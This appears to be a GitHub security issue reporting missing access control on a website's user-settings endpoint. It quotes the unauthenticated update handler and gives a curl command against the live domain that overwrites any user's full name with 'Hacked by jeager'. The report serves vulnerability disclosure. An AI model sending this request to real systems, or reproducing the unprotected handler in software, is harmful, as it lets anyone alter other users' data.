-
-
Notifications
You must be signed in to change notification settings - Fork 19
Open
Labels
Description
Security report
Describe the bug
No access control implemented, the user data update endpoint is not authenticated so anyone can change any user data
To Reproduce
Steps to reproduce the behavior, please provide code snippets or a repository:
I found a lot of logic that does not implement access control, one of which is:
const submission = parse(formData, { schema: schemaUserFullName })
if (!submission.value) return json(submission, { status: 400 })
await modelUser.updateFullName(submission.value)
await timer.delay()
return json(submission)curl 'https://bandungdev.com/user/settings?_data=routes%2Fuser.settings' --data-raw 'id=userId&intent=user-change-fullname&fullname=Hacked by jeager'
